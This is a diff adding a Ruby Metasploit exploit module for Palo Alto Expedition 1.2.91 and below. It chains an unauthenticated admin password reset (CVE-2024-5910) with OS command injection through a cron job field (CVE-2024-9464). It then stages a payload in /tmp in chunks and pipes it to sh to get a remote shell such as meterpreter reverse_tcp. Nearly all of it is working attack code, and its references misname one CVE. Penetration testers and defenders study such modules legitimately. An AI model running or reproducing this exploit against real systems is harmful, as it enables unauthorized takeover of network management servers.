|
| 1 | +class MetasploitModule < Msf::Exploit::Remote |
| 2 | + |
| 3 | + class XsrfExceptionError < StandardError; end |
| 4 | + class XsrfExceptionUnreachableError < XsrfExceptionError; end |
| 5 | + |
| 6 | + Rank = ExcellentRanking |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + include Msf::Exploit::FileDropper |
| 9 | + prepend Msf::Exploit::Remote::AutoCheck |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)', |
| 16 | + 'Description' => %q{ |
| 17 | + Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below. |
| 18 | + The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. |
| 19 | + When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => [ |
| 23 | + 'Michael Heinzl', # MSF Module |
| 24 | + 'Zach Hanley', # Discovery CVE-2024-9464 and PoC |
| 25 | + 'Enrique Castillo', # Discovery CVE-2024-9464 |
| 26 | + 'Brian Hysell' # Discovery CVE-2024-5910 |
| 27 | + ], |
| 28 | + 'References' => [ |
| 29 | + [ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'], |
| 30 | + [ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'], |
| 31 | + [ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'], |
| 32 | + ['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'], |
| 33 | + ['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'], |
| 34 | + [ 'CVE', '2024-5910'], |
| 35 | + [ 'CVE', '2024-24809'] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => '2024-10-09', |
| 38 | + 'DefaultOptions' => { |
| 39 | + 'RPORT' => 443, |
| 40 | + 'SSL' => 'True', |
| 41 | + 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3), |
| 42 | + 'FETCH_WRITABLE_DIR' => '/tmp' |
| 43 | + }, |
| 44 | + 'Payload' => { |
| 45 | + # the vulnerability allows the characters " and \ |
| 46 | + # but the stager in this module does not |
| 47 | + 'BadChars' => "\x22\x3a\x3b\x5c" # ":;\ |
| 48 | + }, |
| 49 | + 'Platform' => %w[unix linux], |
| 50 | + 'Arch' => [ ARCH_CMD ], |
| 51 | + 'Targets' => [ |
| 52 | + [ |
| 53 | + 'Linux Command', |
| 54 | + { |
| 55 | + 'Arch' => [ ARCH_CMD ], |
| 56 | + 'Platform' => %w[unix linux] |
| 57 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 58 | + } |
| 59 | + ] |
| 60 | + ], |
| 61 | + |
| 62 | + 'DefaultTarget' => 0, |
| 63 | + 'Notes' => { |
| 64 | + 'Stability' => [CRASH_SAFE], |
| 65 | + 'Reliability' => [REPEATABLE_SESSION], |
| 66 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS] |
| 67 | + } |
| 68 | + ) |
| 69 | + ) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']), |
| 74 | + OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']), |
| 75 | + OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']), |
| 76 | + OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]), |
| 77 | + OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]), |
| 78 | + ] |
| 79 | + ) |
| 80 | + end |
| 81 | + |
| 82 | + def xsrf_token_value |
| 83 | + user = @username || datastore['USERNAME'] |
| 84 | + password = @password || datastore['PASSWORD'] |
| 85 | + |
| 86 | + res = send_request_cgi( |
| 87 | + 'method' => 'POST', |
| 88 | + 'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'), |
| 89 | + 'keep_cookies' => true, |
| 90 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 91 | + 'vars_post' => { |
| 92 | + 'action' => 'get', |
| 93 | + 'type' => 'login_users', |
| 94 | + 'user' => user, |
| 95 | + 'password' => password |
| 96 | + } |
| 97 | + ) |
| 98 | + |
| 99 | + raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res |
| 100 | + |
| 101 | + data = res.get_json_document |
| 102 | + |
| 103 | + raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken'] |
| 104 | + |
| 105 | + print_good('Successfully authenticated') |
| 106 | + |
| 107 | + csrftoken = data['csrfToken'] |
| 108 | + raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken |
| 109 | + |
| 110 | + vprint_status("Got csrftoken: #{csrftoken}") |
| 111 | + csrftoken |
| 112 | + end |
| 113 | + |
| 114 | + def check |
| 115 | + unless datastore['USERNAME'] && datastore['PASSWORD'] |
| 116 | + unless datastore['RESET_ADMIN_PASSWD'] |
| 117 | + print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.') |
| 118 | + return CheckCode::Unknown |
| 119 | + end |
| 120 | + |
| 121 | + res = send_request_cgi( |
| 122 | + 'method' => 'POST', |
| 123 | + 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') |
| 124 | + ) |
| 125 | + |
| 126 | + return CheckCode::Unknown('Failed to receive a reply from the server.') unless res |
| 127 | + |
| 128 | + if res.code == 403 |
| 129 | + return CheckCode::Safe |
| 130 | + end |
| 131 | + |
| 132 | + return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') |
| 133 | + |
| 134 | + respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' |
| 135 | + print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") |
| 136 | + @password = respass |
| 137 | + @username = 'admin' |
| 138 | + @reset = true |
| 139 | + end |
| 140 | + |
| 141 | + begin |
| 142 | + @xsrf_token_value = xsrf_token_value |
| 143 | + rescue XsrfException::Error |
| 144 | + return CheckCode::Safe |
| 145 | + end |
| 146 | + |
| 147 | + res = send_request_cgi( |
| 148 | + 'method' => 'GET', |
| 149 | + 'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'), |
| 150 | + 'keep_cookies' => true, |
| 151 | + 'headers' => { |
| 152 | + 'Csrftoken' => @xsrf_token_value |
| 153 | + } |
| 154 | + ) |
| 155 | + |
| 156 | + data = res.get_json_document |
| 157 | + version = data.dig('msg', 'Expedition') |
| 158 | + |
| 159 | + if version.nil? |
| 160 | + return CheckCode::Unknown |
| 161 | + end |
| 162 | + |
| 163 | + print_status('Version retrieved: ' + version) |
| 164 | + |
| 165 | + if Rex::Version.new(version) > Rex::Version.new('1.2.91') |
| 166 | + return CheckCode::Safe |
| 167 | + end |
| 168 | + |
| 169 | + return CheckCode::Appears |
| 170 | + end |
| 171 | + |
| 172 | + def execute_command(cmd, check_res) |
| 173 | + name = Rex::Text.rand_text_alpha(4..8) |
| 174 | + vprint_status("Running command: #{cmd}") |
| 175 | + res = send_request_cgi( |
| 176 | + 'method' => 'POST', |
| 177 | + 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), |
| 178 | + 'keep_cookies' => true, |
| 179 | + 'headers' => { |
| 180 | + 'Csrftoken' => @xsrf_token_value |
| 181 | + }, |
| 182 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 183 | + 'vars_post' => { |
| 184 | + 'action' => 'set', |
| 185 | + 'type' => 'cron_jobs', |
| 186 | + 'project' => 'pandb', |
| 187 | + 'name' => name, |
| 188 | + 'cron_id' => 1, |
| 189 | + 'recurrence' => 'Daily', |
| 190 | + 'start_time' => "\";#{cmd} #" |
| 191 | + } |
| 192 | + ) |
| 193 | + if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason? |
| 194 | + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") |
| 195 | + end |
| 196 | + end |
| 197 | + |
| 198 | + def exploit |
| 199 | + cmd = payload.encoded |
| 200 | + chunk_size = rand(25..35) |
| 201 | + vprint_status("Command chunk size = #{chunk_size}") |
| 202 | + cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) |
| 203 | + staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/') |
| 204 | + |
| 205 | + if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD']) |
| 206 | + unless datastore['RESET_ADMIN_PASSWD'] |
| 207 | + fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..') |
| 208 | + end |
| 209 | + |
| 210 | + res = send_request_cgi( |
| 211 | + 'method' => 'POST', |
| 212 | + 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') |
| 213 | + ) |
| 214 | + |
| 215 | + fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res |
| 216 | + fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') |
| 217 | + |
| 218 | + respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' |
| 219 | + print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") |
| 220 | + @password = respass |
| 221 | + @username = 'admin' |
| 222 | + end |
| 223 | + |
| 224 | + begin |
| 225 | + @xsrf_token_value = xsrf_token_value |
| 226 | + rescue XsrfException::Error |
| 227 | + return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.') |
| 228 | + end |
| 229 | + |
| 230 | + print_status('Adding a new cronjob...') |
| 231 | + res = send_request_cgi( |
| 232 | + 'method' => 'POST', |
| 233 | + 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), |
| 234 | + 'keep_cookies' => true, |
| 235 | + 'headers' => { |
| 236 | + 'Csrftoken' => @xsrf_token_value |
| 237 | + }, |
| 238 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 239 | + 'vars_post' => { |
| 240 | + 'action' => 'add', |
| 241 | + 'type' => 'new_cronjob', |
| 242 | + 'project' => 'pandb' |
| 243 | + } |
| 244 | + ) |
| 245 | + |
| 246 | + unless res |
| 247 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 248 | + end |
| 249 | + |
| 250 | + data = res.get_json_document |
| 251 | + fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true |
| 252 | + |
| 253 | + # Stage the command to a file |
| 254 | + redirector = '>' |
| 255 | + chunk_counter = 0 |
| 256 | + cmd_chunks.each do |chunk| |
| 257 | + chunk_counter += 1 |
| 258 | + vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}") |
| 259 | + write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}" |
| 260 | + execute_command(write_chunk, true) |
| 261 | + redirector = '>>' |
| 262 | + sleep 1 |
| 263 | + end |
| 264 | + |
| 265 | + # Once we launch the payload, we don't seem to be able to execute another command, |
| 266 | + # even if we try to background the command, so we need to execute and delete in |
| 267 | + # the same command. |
| 268 | + |
| 269 | + print_good('Command staged; command execution requires a timeout and will take a few seconds.') |
| 270 | + execute_command("cat #{staging_file} | sh && rm #{staging_file}", false) |
| 271 | + sleep 3 |
| 272 | + |
| 273 | + print_status('Check thy shell.') |
| 274 | + end |
| 275 | +end |
0 commit comments